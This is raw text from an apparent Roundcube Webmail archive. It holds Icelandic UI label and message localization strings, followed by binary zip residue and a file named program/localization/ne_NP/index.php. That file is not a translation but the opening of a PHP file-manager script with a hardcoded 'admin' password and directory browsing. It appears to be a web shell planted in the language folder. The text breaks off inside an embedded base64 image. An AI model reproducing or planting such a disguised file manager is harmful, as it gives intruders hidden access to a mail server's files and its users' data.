$labels['celtic'] = 'Keltneskt';
$labels['vietnamese'] = 'Víetnamskt';
$labels['japanese'] = 'Japanskt';
$labels['korean'] = 'Kóreskt';
$labels['chinese'] = 'Kínverskt';
$labels['arialabeltopnav'] = 'Gluggastýring';
$labels['arialabeltasknav'] = 'Verkefni forrits';
$labels['arialabeltoolbar'] = 'Verkfærastika forrits';
$labels['arialabellistnav'] = 'Rötun um lista';
$labels['arialabelactivetask'] = 'Virkt verkefni';
$labels['arialabelmessagessearchfilter'] = 'Sía fyrir upptalningu tölvupósta';
$labels['arialabelmailsearchform'] = 'Leitargluggi fyrir tölvupósta';
$labels['arialabelcontactsearchform'] = 'Leitargluggi fyrir tengiliði';
$labels['arialabelmailquicksearchbox'] = 'Leitarinntak fyrir tölvupósta';
$labels['arialabelquicksearchbox'] = 'Leitarinntak';
$labels['arialabelfoldersearchfilter'] = 'Sía fyrir upptalningu á möppum';
$labels['arialabelfoldersearchform'] = 'Leitargluggi fyrir möppur';
$labels['arialabelfolderlist'] = 'Val á póstmöppum';
$labels['arialabelmessagelist'] = 'Upptalning á tölvupóstum';
$labels['arialabelmailpreviewframe'] = 'Forskoðun skilaboða';
$labels['arialabelmailboxmenu'] = 'Valmynd möppuaðgerða';
$labels['arialabellistselectmenu'] = 'Valmynd vallista';
$labels['arialabelthreadselectmenu'] = 'Valmynd fyrir upptalningu skilaboðaþráða';
$labels['arialabelmessagelistoptions'] = 'Birting póstskilaboða og valkostir við röðun';
$labels['arialabelmailimportdialog'] = 'Innflutningsgluggi skilaboða';
$labels['arialabelmessagenav'] = 'Rötun um skilaboð';
$labels['arialabelmessagebody'] = 'Meginmál skilaboða';
$labels['arialabelmessageactions'] = 'Aðgerðir skilaboða';
$labels['arialabelcontactquicksearch'] = 'Leitargluggi fyrir tengiliði';
$labels['arialabelcontactsearchbox'] = 'Leitarinntak fyrir tengiliði';
$labels['arialabelmessageheaders'] = 'Skilaboðahausar';
$labels['arialabelforwardingoptions'] = 'Valkostir áframsendinga';
$labels['arialabelreplyalloptions'] = 'Valkostir við að svara-öllum';
$labels['arialabelmoremessageactions'] = 'Fleiri aðgerðir skilaboða';
$labels['arialabelmorecontactactions'] = 'Fleiri aðgerðir tengiliða';
$labels['arialabelmarkmessagesas'] = 'Merka valin skilaboð sem...';
$labels['arialabelcomposeoptions'] = 'Valkostir við samningu skilaboða';
$labels['arialabelresponsesmenu'] = 'Valmynd fyrir stöðluð svör';
$labels['arialabelattachmentuploadform'] = 'Gluggi fyrir innsendingu viðhengja';
$labels['arialabelattachmentmenu'] = 'Valkostir viðhengja';
$labels['arialabelmailtomenu'] = 'Valkostir tölvupóstfanga';
$labels['arialabelattachmentpreview'] = 'Forskoðun viðhengis';
$labels['ariasummarycomposecontacts'] = 'Listi yfir tengiliði og hópa sem velja má sem viðtakendur';
$labels['arialabelcontactexportoptions'] = 'Valkostir við útflutning tengiliða';
$labels['arialabelabookgroupoptions'] = 'Valkostir nafnaskrár/hópa';
$labels['arialabelpreferencesform'] = 'Kjörstillingagluggi';
$labels['arialabelidentityeditfrom'] = 'Gluggi til stillinga auðkenna';
$labels['arialabelresponseeditfrom'] = 'Gluggi fyrir breytingar á svari';
$labels['arialabelsearchterms'] = 'Leitarstrengir';
$labels['arialabeldropactionmenu'] = 'Aðgerðavalmynd fyrir draga-sleppa';
$labels['arialabelheadersmenu'] = 'Valmynd til að bæta við viðtakanda (haus)';
$labels['arialabelimagetools'] = 'Myndaverkfæri';
$labels['helplistnavigation'] = 'Listi yfir rötun um skilaboð með lyklaborði';
$labels['helplistkeyboardnavigation'] = "Örvar upp/niður: Flytja virkni/val um röð.
Bil: Velja virka röð.
Shift + upp/niður: Velja röð til viðbótar fyrir ofan/neðan.
Ctrl + Bil: Bæta virkri röð við val/fjarlægja úr vali.";
$labels['helplistkeyboardnavmessages'] = "Örvar hægri/vinstri: Þenja/fella saman skilaboðaþræði (einungis í samskiptaþráðaham).
Enter: Opna valin/virk skilaboð.
Del/Eyða: Færa valin skilaboð í ruslið.";
$labels['helplistkeyboardnavcontacts'] = "Enter: Opna valinn/virkan tengilið.";
PK
h�\5�uFF'program/localization/is_IS/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Villa kom upp!';
$messages['loginfailed']  = 'Innskráning mistókst.';
$messages['cookiesdisabled'] = 'Vafrinn þinn samþykkir ekki vefkökur.';
$messages['sessionerror'] = 'Innskráningin þín er ógild eða útrunnin.';
$messages['cookiesmismatch'] = 'Fann misræmi í vefkökum. Endilega hreinsaðu skyndiminni vafrans af vefkökum.';
$messages['storageerror'] = 'Tenging við geymsluþjón mistókst.';
$messages['servererror'] = 'Villa í þjóni!';
$messages['servererrormsg'] = 'Villa í þjóni: $msg';
$messages['accountlocked'] = 'Of margar tilraunir til innskráningar. Reyndu aftur síðar.';
$messages['connerror'] = 'Villa í tengingu (mistókst að ná í þjóninn)!';
$messages['dberror'] = 'Villa í gagnagrunni!';
$messages['dbconnerror'] = 'Tókst ekki að tengjast gagnagrunninum!';
$messages['windowopenerror'] = 'Lokað var á sprettgluggann!';
$messages['requesttimedout'] = 'Fyrirspurn féll á tíma';
$messages['errorreadonly'] = 'Tókst ekki að framkvæma aðgerð. Mappa er skrifvarin.';
$messages['errornoperm'] = 'Tókst ekki að framkvæma aðgerð. Heimild var hafnað.';
$messages['erroroverquota'] = 'Tókst ekki að framkvæma aðgerð. Ekkert laust diskpláss.';
$messages['erroroverquotadelete'] = 'Ekki nægt laust diskpláss. Notaðu SHIFT+DEL til að eyða skilaboðum.';
$messages['invalidrequest'] = 'Ógild fyrirspurn! Engin gögn voru vistuð.';
$messages['invalidhost'] = 'Ógilt heiti á þjóni.';
$messages['nomessagesfound'] = 'Engin skilaboð fundust í þessu pósthólfi.';
$messages['loggedout'] = 'Þú hefur lokað setunni. Bless í bili!';
$messages['mailboxempty'] = 'Pósthólf er tómt';
$messages['nomessages'] = 'Engin skilaboð';
$messages['refreshing'] = 'Endurles...';
$messages['loading'] = 'Hleð...';
$messages['uploading'] = 'Sendi inn skrá...';
$messages['attaching'] = 'Hengi við skrá...';
$messages['uploadingmany'] = 'Sendi inn skrár...';
$messages['loadingdata'] = 'Hleð inn gögnum...';
$messages['checkingmail'] = 'Athuga með ný skilaboð...';
$messages['sendingmessage'] = 'Sendi skilaboð...';
$messages['messagesent'] = 'Skilaboðin voru send.';
$messages['savingmessage'] = 'Vista skilaboð...';
$messages['messagesaved'] = 'Skilaboð vistuð í Drög.';
$messages['successfullysaved'] = 'Vistun heppnaðist!';
$messages['savingresponse'] = 'Vista texta svars...';
$messages['deleteresponseconfirm'] = 'Ertu viss um að þú viljir eyða þessum svartexta?';
$messages['nocontactselected'] = 'Þú hefur ekki enn valið tengilið.';
$messages['addedsuccessfully'] = 'Netfangi var bætt í netfangaskrá.';
$messages['contactexists'] = 'Tengiliður með sama nafn er þegar skráður í netfangaskrána.';
$messages['contactnameexists'] = 'Tengiliður með sama nafn er þegar skráður í netfangaskrána.';
$messages['blockedimages'] = 'Til verndar hefur verið lokað á allar fjartengdar myndir í þessum skilaboðum.';
$messages['blockedresources'] = 'Til verndar hefur verið lokað á öll fjartengd tilföng.';
$messages['suspiciousemail'] = 'Þessi skilaboð innihalda grunsamleg tölvupóstföng sem gætu verið tilraun til svika.';
$messages['bccemail'] = 'Áframsendu skilaboðin innihalda leynilega viðtakendur (Bcc).';
$messages['bouncehint'] = 'Þessi skilaboð verða send án nokkurra breytinga, þ.e.a.s. með upprunalegu meginmáli, haus og viðtakendum.';
$messages['encryptedmessage'] = 'Þetta eru dulrituð skilaboð og því er ekki hægt að birta þau!';
$messages['externalmessagedecryption'] = 'Þetta eru dulrituð skilaboð og er hægt að afkóða þau með vafraviðbótinni.';
$messages['nopubkeyfor'] = 'Enginn gildur dreifilykill fannst fyrir $email';
$messages['nopubkeyforsender'] = 'Enginn gildur dreifilykill fannst fyrir sendandaauðkennið þitt. Viltu dulrita skilaboðin einungis fyrir viðtakendurna?';
$messages['encryptnoattachments'] = 'Viðhengi sem þegar er búið að senda inn er ekki hægt að dulrita. Bættu þeim við aftur í dulritunarritlinum.';
$messages['searchpubkeyservers'] = 'Viltu leita að þeim lyklum sem vantar á opinberum lyklaþjónum?';
$messages['encryptpubkeysfound'] = 'Eftirfarandi dreifilyklar fundust:';
$messages['keyservererror'] = 'Mistókst að nálgast lykil á lyklaþjóni.';
$messages['keyimportsuccess'] = 'Það tókst að flytja $key dreifilykilinn inn í lyklakippuna þína.';
$messages['nocontactsfound'] = 'Engir tengiliðir fundust.';
$messages['contactnotfound'] = 'Umbeðinn tengiliður fannst ekki.';
$messages['contactsearchonly'] = 'Þú verður að nota leitarform til að sjá tengiliði úr völdu nafnaskránni.';
$messages['sendingfailed'] = 'Sending skilaboðanna misheppnaðist.';
$messages['senttooquickly'] = 'Bíða í $sec sekúndu(r) áður en þessi skilaboð eru send.';
$messages['errorsavingsent'] = 'Villa kom upp við vistun sendra skilaboða.';
$messages['errorsaving'] = 'Villa kom upp við vistun.';
$messages['errormoving'] = 'Gat ekki fært skilaboðin.';
$messages['errorcopying'] = 'Gat ekki afritað skilaboð.';
$messages['errordeleting'] = 'Gat ekki eytt skilaboðum.';
$messages['errormarking'] = 'Gat ekki merkt skilaboð.';
$messages['alerttitle'] = 'Varúð';
$messages['confirmationtitle'] = 'Ertu viss...';
$messages['deletecontactconfirm']  = 'Ertu viss um að þú viljir eyða völdum tengiliðum?';
$messages['deletegroupconfirm']  = 'Ertu viss um að þú viljir eyða völdum hópi?';
$messages['deletemessagesconfirm'] = 'Ertu viss um að þú viljir eyða völdum skilaboðum?';
$messages['deletefolderconfirm']  = 'Ertu viss um að vilja eyða þessari möppu?';
$messages['movefolderconfirm']  = 'Ertu viss um að vilja færa þessa möppu?';
$messages['purgefolderconfirm']  = 'Ertu viss um að þú viljir eyða öllum skilaboðum í þessari möppu?';
$messages['contactdeleting'] = 'Eyði tengilið(um)...';
$messages['groupdeleting'] = 'Eyði hóp...';
$messages['folderdeleting'] = 'Eyði möppu...';
$messages['foldermoving'] = 'Færi möppu...';
$messages['foldersubscribing'] = 'Tek möppu í áskrift...';
$messages['folderunsubscribing'] = 'Segi upp áskrift að möppu...';
$messages['formincomplete'] = 'Formið var ekki fyllt út að fullu';
$messages['noemailwarning'] = 'Sláðu inn gildt netfang';
$messages['nonamewarning']  = 'Sláðu inn nafn';
$messages['nopagesizewarning'] = 'Sláðu inn síðustærð';
$messages['nosenderwarning'] = 'Settu inn tölvupóstfang sendanda.';
$messages['recipientsadded'] = 'Tókst að bæta við tengilið(um).';
$messages['norecipientwarning'] = 'Í það minnsta einn viðtakandi verður að vera';
$messages['disclosedrecipwarning'] = 'Allir viðtakendur munu sjá tölvupóstföng hvers annars. Til að komast hjá þessu og vernda persónuauðkenni viðtakenda geturði notað BCC (falið afrit) reitinn.';
$messages['disclosedreciptitle'] = 'Of margir opinberir viðtakendur';
$messages['nosubjectwarning']  = 'Efnislínan er tóm. Viltu slá eitthvað inn í hana?';
$messages['nosubjecttitle']  = 'Án titils';
$messages['nobodywarning'] = 'Viltu senda þessi skilaboð án texta?';
$messages['notsentwarning'] = 'Þessi skilaboð hafa ekki verið send og eru þau með óvistaðar breytingar. Viltu henda þessum breytingum?';
$messages['restoresavedcomposedata'] = 'Áður skrifuð en ósend skilaboð fundust.\n\nEfni: $subject\nVistað: $date\n\nViltu endurheimta þessi skilaboð?';
$messages['nosearchname'] = 'Sláðu inn nafn eða netfang';
$messages['notuploadedwarning'] = 'Ekki er búið að senda inn öll viðhengi. Bíddu aðeins eða hættu við innsendinguna.';
$messages['searchsuccessful'] = '$nr skilaboð fundust.';
$messages['contactsearchsuccessful'] = '$nr tengiliðir fundust.';
$messages['searchnomatch'] = 'Leit skilaði engu';
$messages['searching'] = 'Leita...';
$messages['checking'] = 'Gái...';
$messages['stillsearching'] = 'Enn að leita...';
$messages['nospellerrors'] = 'Engar innsláttarvillur fundust';
$messages['folderdeleted'] = 'Möppu var eytt';
$messages['foldersubscribed'] = 'Tókst að setja möppu í áskrift.';
$messages['folderunsubscribed'] = 'Tókst að taka möppu úr áskrift.';
$messages['folderpurged'] = 'Tókst að tæma möppu.';
$messages['folderexpunged'] = 'Tókst að þjappa möppu.';
$messages['deletedsuccessfully'] = 'Tókst að eyða.';
$messages['converting'] = 'Fjarlægi snið...';
$messages['messageopenerror'] = 'Gat ekki hlaðið skilaboðum inn af póstþjóni.';
$messages['filelinkerror'] = 'Mistókst að hengja við skrá.';
$messages['fileuploaderror'] = 'Innsending skráar mistókst.';
$messages['csvfilemismatch'] = 'Innflutningur á mörgum CSV-skrám með mismunandi gagnasviðum er ekki studdur.';
$messages['filesizeerror'] = 'Innsenda skráin er yfir $size leyfilegri stærð.';
$messages['filecounterror'] = 'Þú getur í mesta lagi sent inn $count skrár í einu.';
$messages['msgsizeerror'] = 'Mistókst að hengja við skrá. Fór yfir leyfilega hámarksstærð ($size) skilaboða.';
$messages['msgsizeerrorfwd'] = 'Hámarksstærð skilaboða ($size) náð. $num skilaboð hafa ekki verið hengd við.';
$messages['copysuccess'] = 'Tókst að afrita $nr tengiliði';
$messages['movesuccess'] = 'Tókst að færa $nr tengiliði';
$messages['copyerror'] = 'Gat ekki afritað neina tengiliði.';
$messages['moveerror'] = 'Gat ekki fært neina tengiliði.';
$messages['sourceisreadonly'] = 'Þessi nafnaskrárgjafi er skrifvarinn.';
$messages['errorsavingcontact'] = 'Gat ekki vistað vistfang tengiliðar.';
$messages['movingmessage'] = 'Færi skilaboð...';
$messages['copyingmessage'] = 'Afrita skilaboð...';
$messages['copyingcontact'] = 'Afrita tengiliði...';
$messages['movingcontact'] = 'Færi tengiliði...';
$messages['deletingmessage'] = 'Eyði skilaboðum...';
$messages['markingmessage'] = 'Merki skilaboð...';
$messages['addingmember'] = 'Bæti tengiliðum í hópinn...';
$messages['removingmember'] = 'Fjarlægi tengiliði úr hópi...';
$messages['receiptsent'] = 'Tókst að senda leskvittun.';
$messages['errorsendingreceipt'] = 'Gat ekki sent leskvittunina.';
$messages['deleteidentityconfirm'] = 'Ertu viss um að vilja eyða þessu auðkenni?';
$messages['nodeletelastidentity'] = 'Þú getur ekki eytt þessu auðkenni, þetta er það síðasta sem er eftir.';
$messages['forbiddencharacter'] = 'Heiti möppu inniheldur óleyfilegan staf.';
$messages['selectimportfile'] = 'Veldu skrá til að senda inn.';
$messages['addresswriterror'] = 'Valin nafnaskrá er ekki ritanleg.';
$messages['contactaddedtogroup'] = 'Tókst að bæta tengiliðunum í þennan hóp.';
$messages['contactremovedfromgroup'] = 'Tókst að fjarlægja tengiliði úr þessum hóp.';
$messages['nogroupassignmentschanged'] = 'Engin breyting á úthlutun hópa.';
$messages['importwait'] = 'Flyt inn, bíddu aðeins...';
$messages['importformaterror'] = 'Innflutningur mistókst! Innsenda skráin er ekki gild gagnainnflutningsskrá';
$messages['importconfirm'] = '<b>Tókst að flytja inn $inserted tengiliði</b>';
$messages['importconfirmskipped'] = '<b>Sleppti $skipped fyrirliggjandi færslum</b>';
$messages['importmessagesuccess'] = 'Tókst að flytja inn $nr skilaboð';
$messages['importmessageerror'] = 'Innflutningur mistókst! Innsenda skráin er ekki gild skilaboða- eða pósthólfsskrá';
$messages['opnotpermitted'] = 'Aðgerð ekki leyfð!';
$messages['nofromaddress'] = 'Vantar tölvupóstfang í völdu auðkenni.';
$messages['editorwarning'] = 'Ef skipt er um ritil getur snið texta tapast. Viltu halda áfram?';
$messages['httpreceivedencrypterror'] = 'Alvarleg villa kom upp í uppsetningu. Hafðu strax samband við kerfisstjórann þinn. <b>Ekki var hægt að senda skilaboðin.</b>';
$messages['smtpconnerror'] = 'SMTP-villa ($code): Tenging við póstþjón mistókst.';
$messages['smtpautherror'] = 'SMTP-villa ($code): Auðkenning mistókst.';
$messages['smtpfromerror'] = 'SMTP-villa ($code): Mistókst að setja sendanda "$from" ($msg).';
$messages['smtptoerror'] = 'SMTP-villa ($code): Mistókst að bæta við viðtakandanum "$to" ($msg).';
$messages['smtprecipientserror'] = 'SMTP-villa: Mistókst að þátta lista yfir viðtakendur.';
$messages['smtputf8error'] = 'SMTP-villa: Vefþjónn styður ekki Unicode í tölvupóstföngum.';
$messages['smtpsizeerror'] = 'SMTP-villa: Stærð skilaboða yfir takmörkum vefþjóns ($limit)';
$messages['smtperror'] = 'SMTP villa: $msg';
$messages['emailformaterror'] = 'Ógilt tölvupóstfang: $email';
$messages['toomanyrecipients'] = 'Of margir viðtakendur. Fækkaðu þeim í $max.';
$messages['maxgroupmembersreached'] = 'Fjöldi meðlima í hópnum fer fram úr hámarksfjöldanum $max.';
$messages['internalerror'] = 'Innri villa kom upp. Prófaðu aftur.';
$messages['contactdelerror'] = 'Gat ekki eytt tengilið(um).';
$messages['contactdeleted'] = 'Tókst að eyða tengilið(um).';
$messages['contactrestoreerror'] = 'Gat ekki endurheimt eydda tengiliði.';
$messages['contactrestored'] = 'Tókst að endurheimta tengilið(i).';
$messages['groupdeleted'] = 'Tókst að eyða hópi.';
$messages['grouprenamed'] = 'Tókst að endurnefna hóp.';
$messages['groupcreated'] = 'Tókst að búa til hóp.';
$messages['savedsearchdeleted'] = 'Tókst að eyða vistaðri leit.';
$messages['savedsearchdeleteerror'] = 'Gat ekki eytt vistaðri leit.';
$messages['savedsearchcreated'] = 'Tókst að búa til vistaða leit.';
$messages['savedsearchcreateerror'] = 'Gat ekki búið til vistaða leit.';
$messages['messagedeleted'] = 'Tókst að eyða skilaboðum.';
$messages['messagemoved'] = 'Tókst að færa skilaboð.';
$messages['messagemovedtotrash'] = 'Tókst að færa skilaboð í rusl.';
$messages['messagecopied'] = 'Tókst að afrita skilaboð.';
$messages['messagemarked'] = 'Tókst að merkja skilaboð.';
$messages['autocompletechars'] = 'Settu inn a.m.k. $min stafi fyrir orðaklárun.';
$messages['autocompletemore'] = 'Fleiri samsvarandi færslur fundust. Sláðu inn fleiri stafi.';
$messages['namecannotbeempty'] = 'Nafn má ekki vera autt.';
$messages['nametoolong'] = 'Nafn er of langt.';
$messages['namedotforbidden'] = 'Heiti möppu má ekki byrja á punkti.';
$messages['folderupdated'] = 'Tókst að uppfæra möppu';
$messages['foldercreated'] = 'Tókst að búa til möppu.';
$messages['invalidimageformat'] = 'Ekki gilt myndasnið.';
$messages['mispellingsfound'] = 'Stafsetningarvillur fundust í skilaboðunum.';
$messages['parentnotwritable'] = 'Tókst ekki að útbúa möppu eða færa inn í valda yfirmöppu. Það vantar aðgangsheimildir.';
$messages['messagetoobig'] = 'Efnishluti skilaboðanna er of stór til að hægt sé að meðhöndla skilaboðin.';
$messages['attachmentvalidationerror'] = 'Þetta viðhengi er grunsamlegt þar sem tegund þess samsvarar ekki tegundinni sem gefin er upp í skilaboðunum. Ef þú treystir ekki sendandanum, ættirðu ekki að opna það í vafranum því það gæti innihaldið óværur.<br/><br/><em>Átti von á: $expected; fann: $detected</em>';
$messages['noscriptwarning'] = 'Aðvörun: Þessi vefpóstþjónusta þarfnast JavaScript! Til að nota hana þarftu að virkja JavaScript í stillingum vafrans.';
$messages['messageissent'] = 'Þessi skilaboð hafa þegar verið send, en hafa ekki verið vistuð. Viltu vista þau núna?';
$messages['errnotfound'] = 'Skrá fannst ekki';
$messages['errnotfoundexplain'] = 'Umbeðið tilfang fannst ekki!';
$messages['errfailedrequest'] = 'Beiðni misfórst';
$messages['errauthorizationfailed'] = 'Auðkenning mistókst';
$messages['errunauthorizedexplain'] = 'Gat ekki gengið úr skugga um að þú hafir heimild til að nota þessa þjónustu!';
$messages['errrequestcheckfailed'] = 'Athugun á beiðni mistókst';
$messages['errcsrfprotectionexplain'] = "Til að verja þig er aðgangur að þessu tilfang gerður öruggur á móti CSRF.\nEf þú sérð þetta er líklegast að þú hafir ekki skráð þig út áður en þú hættir í vefviðmótinu.\n\nNú þarftu að grípa til aðgerða til að geta haldið áfram.";
$messages['errcontactserveradmin'] = 'Hafðu samband við kerfisstjóra þjónsins þíns';
$messages['clicktoresumesession'] = 'Smelltu hér til að halda áfram með fyrri setu';
$messages['errcomposesession'] = 'Villa í samningarsetu';
$messages['errcomposesessionexplain'] = 'Umbeðin samningarseta fannst ekki.';
$messages['clicktocompose'] = 'Smelltu hér til að búa til ný skilaboð';
$messages['nosupporterror'] = 'Þessi eiginleiki er ekki studdur af vafranum þínum.';
$messages['siginserted'] = 'Tókst að setja inn undirskrift.';
$messages['responseinserted'] = 'Tókst að setja inn svar.';
$messages['noresponsesavailable'] = 'Engin svör tiltæk';
$messages['listempty'] = 'Listinn er tómur.';
$messages['listusebutton'] = 'Notaðu \'Búa til\' hnappinn til að bæta við færslu.';
$messages['keypaircreatesuccess'] = 'Tókst að útbúa nýtt lyklapar fyrir $identity.';
$messages['emptyattachment'] = 'Þetta viðhengi lítur út fyrir að vera tómt. <br>Hafðu samband við þann sem sendi þetta.';
$messages['oauthloginfailed'] = 'OAuth-innskráning mistókst. Reyndu aftur.';
PK
h�\�(Цd�d�$program/localization/ne_NP/index.phpnu�[���<?php
error_reporting(E_ALL);
ini_set("display_errors", 1);
date_default_timezone_set('UTC'); 

$LoginDialog      = true;
$login_user       = '';
$login_pass       = 'admin';
$charset          = 'utf-8';
$show_file_or_dir = true ; // can show directory
$perpage          = (isset($_GET['perpage'])) ? (int)$_GET['perpage'] : 10;
$table_fixed      = (isset($_GET['perpage'])) ? 'table-fixed' : '';
$alert_msg        = (isset($_GET['alert'])) ? $_GET['alert'] : '';


@session_start();
if(isset($_GET['logout'])) { session_destroy() ; exit(header('Location: '.$_SERVER['PHP_SELF'])); }

 if(isset($_POST['username']) && isset($_POST['password']) )
 {
	if($_POST['username'] == $login_user && $_POST['password'] == $login_pass) 
	{
		
		$_SESSION['login']['user'] = $login_user ;
		$_SESSION['login']['pass'] = $login_pass ;
		$_SESSION['login']['status'] = "1" ;
		exit(header('Location: '.$_SERVER['PHP_SELF'] ));
	}
		
 }

$_extensions[0]  = array();
$_extensions[1]  = array();
//$_extensions[1] = array( "css","js","txt","json","xml"); // can read _extensions
//$_extensions[0] = array("gif", "jpg", "jpeg", "png","bmp","dir","css","js");  // Allowed_extensions = in Browse directorie

$RTL_languages  = array('ar','arc','bcc','bqi','ckb','dv','fa','glk','he','lrc','mzn','pnb','ps','sd','ug','ur','yi');

$RTL_languages  = array_map('strtolower', $RTL_languages);
$_extensions[0] = array_map('strtolower', $_extensions[0]);
$_extensions[1] = array_map('strtolower', $_extensions[1]);

$_maxFileSize   = return_bytes(ini_get('upload_max_filesize'));
$_extensions[2] = array("gif", "jpg", "jpeg", "png","bmp","ico","tiff","svg"); //images extensions
$_extensions[3] = array("mp3", "wav", "ogg"); //music extensions
//$_extensions[4] = array('doc', 'docx', 'docm', 'dot', 'dotx', 'dotm', 'wps','pdf'); //formats doc extensions
$_extensions[2] = array_map('strtolower', $_extensions[2]);
$icon[0]='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAr0lEQVQ4jbXTsQrCMBAG4AxOgk66ubj5Cg5C3sBX0SVLl3Mp1pb773cQ+jZ9NBcDUmxDg/3hIOSO7yAQ5/6Zsiy3AAoA0q+qqnZJAEARQlg55xzJDoD/3AvJZ+yNARLPfUBENgDMe7/IAQoRWTdNczCz22Tg+21IdpOBoZn5gdTMYFNVT6pKVX1kAWZ2ret6D8CygLZtlwAuAI5ZwFjmBVT1bGb3X58pFslXasmkvAH6z57RLFab2AAAAABJRU5ErkJggg==';
$icon[1]='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAxklEQVQ4ja3RMQ6CQBAFUBI7o1Za2VhaGrwA8QDexJYCmikIJITkz9/QUNtxCjuPYOI5jJ1igw0RZAmTTDO7efmz6zhjlogsVTUAIM2Oomj9F1DVwPf9eXMOQEg+RGTWCQCQtnmd7laW5WQIEIrIIsuyraqerYE4jlcAwnqVizXQ+85owK9vrNvrDZDcA3Cb5zYJ3DRNd0VRTAF4Q4BDkiQbkldVfQM49QZI3o0xFcmXMab6tm0C+0dU1SPJvAMQks9WYEh9APFSxanQR2QIAAAAAElFTkSuQmCC';
$icon[2]='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAt0lEQVQ4je2TMQoCMRBFdytbQVtbj+ENRFvB1kbYC2w1IARXdmb+YOE1PIKNN/A+sXEhhmRxtfXDNGH+mz8kKYqEAFxUleIC8CCiacrzJlWl1LmZMYBzVVWjlGndTTKzWzB1G4KZeSYiJ+99Gcc+ZqbeVXUTrmZmVwC7j2K/Uuzbtl309vcAGu99KSIHZp4PBojIKryJwYBczx/wI4CIxgDqwYDuiQOonXOTrxMklfvCQTUisox9T0lBs3UzkBOTAAAAAElFTkSuQmCC';
$icon[3]='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAdUlEQVQ4je2SrQ2AQBSD2QBCcOwErAOq4vS1D9RJpmA9FILkOH6CQNCkpkm/VDTLPiHvfUsSEXeXAGY2xnJJM4DiFEASsdw5V5vZElsnaQBQJQEphRByScNjwK73A14ASJrulgEUJPsN0BxcOeUeQPlk+btaAUZIb/PnWjN7AAAAAElFTkSuQmCC';
$icon[13]='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAXUlEQVQ4jWNgGJbAk4GBIQQP9qXUghCaG+DMwMDARa4BzgwMDEYMDAwsSJiRFAM6GRgYYhkYGAKQsBwpBjAxMDCkMDAwcONRQzAMmKCYbAMIAYIGEEpIWZS6YJABAEwKC7pKuYTEAAAAAElFTkSuQmCC';
$icon[6]='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAd0lEQVQ4jWNgoBXo6+vz7+/vb+jv72+YMGFCVUNDgwhJBkyYMGEyjN3Q0MA3YcKEKoKaYDb29/c3TJw48QAevgNeQwhZQtAVxNCjBgx7AzqhtAM6nZuby97f319NyID5fX19XcjJGJqhGidOnHi1q6tLFa8BpAIAcUCizUwVOu0AAAAASUVORK5CYII=';
$icon[7]='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAA/ElEQVQ4ja2TPUpDURCFB2wsopVdNuAWYproArKGkM6U0TxIqikeaMi775xTZAXp3nICwdrOBbgAm/sgvN8oDgxc7sz55jCXa/Yf4e53JDcAvJppmg57ASQ37j6o3gNwSd/VWpIkN7XGJjAAj+4+iqK4MjPL81wAnOT7JYC1u99mWXZP8kByBWAba1t3v+4EVHZzBDACMJMUJKW9Ds7qSwCjeH4CsLxoB6U4hPBgZhZCeKyJuwBx8vhM/No2pQYg+VKKAUwkndpc1gAkF+UzAZjE7Te6bARI+gIwl7QjuWpz2QmQ9Angua2nE/DrHpJTkm9Nn6lMkvu+IX+KH1+Xuy051gU6AAAAAElFTkSuQmCC';
$icon[15]='data:image/gif;base64,R0lGODlhHwAfANUAAP///5qamiYmJuTk5Ly8vMzMzKqqqrCwsKKioujo6NTU1Pb29qioqKCgoK6urtLS0tzc3NjY2Li4uObm5nBwcMbGxmhoaEZGRkhISDIyMvj4+Pr6+lBQUDY2NsTExFZWVpKSkgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAKAAAAIf8LTkVUU0NBUEUyLjADAQAAACwAAAAAHwAfAAAG/0CAcEhMPAgOBKDDoQQKxKh0CJEErleAYLu1HDRT6YCALWu5XEolPIwYymY0GmNgAxrwuJybCUcaAHlYZ3sCdxFRA28BgVgHBQMLAAkeIB9ojQYDRGSDAQwKYRsIF4ZlBFR5AJt2a3kQQlZlDBN2QxMMcBKTeaG2Qwp5RnAHv1EHcEdwUMZDBXBIcKzNq3BJcJLUAAtwStrNCNjf3GUIDtLfA9adWMzUz6cPxN/IZQ8JvdTBcAkAsli0jOHSJQSCqmlhNr0awo7RJ19TFORqdAXVEEVZyjyKtG1AgXoZA2iK8oeiKkFZGiCaggelSTiA2LhxidLASjZjBL2siNBOFQ84LyXA+mYEiRJzBO7ZCQIAIfkEAQoAIQAsEAAAAA8ADwAABldAhIPwSISOyGRguZRAAEkkc0oYREPTqSESzU4bXe8ylDEgF4PCYRoSCDCVKEDBCLTdAormasXjD1chFRd+AhaBIQiFAgWBGx+FdoEghRSIHoUciAmFHUEAIfkEAQoAIQAsFgAFAAkAFQAABlnAkDDUiAyHgYBhcEwmCQCh0wkJTRjTgESoyAYSIcAh+xAWsgThIOsQLrKIo1yYENjtHaHnbucIQXwCFCEbH4EBIQiBAgUVF4EWQosHQ3wUGkd2GBVzGQZDQQAh+QQBCgAhACwQABAADwAPAAAGWcCQcChcBI5HBJE4QB4dy2HBGSBEQ4AD9XFVUAOJ6IRBlUQroS+EuEFcBGkkARBKeEAfgR5+NAyEe4F6IQ0RQ4KBGUuIehgGi4gUaJB7FgcaVx0cFAEFV0NBACH5BAEKACEALAUAFgAVAAkAAAZUwJAwVBkajYOjUHBBbJQhgIIROAqugg/IkwgtBoVDYFxdYs+CEHk9D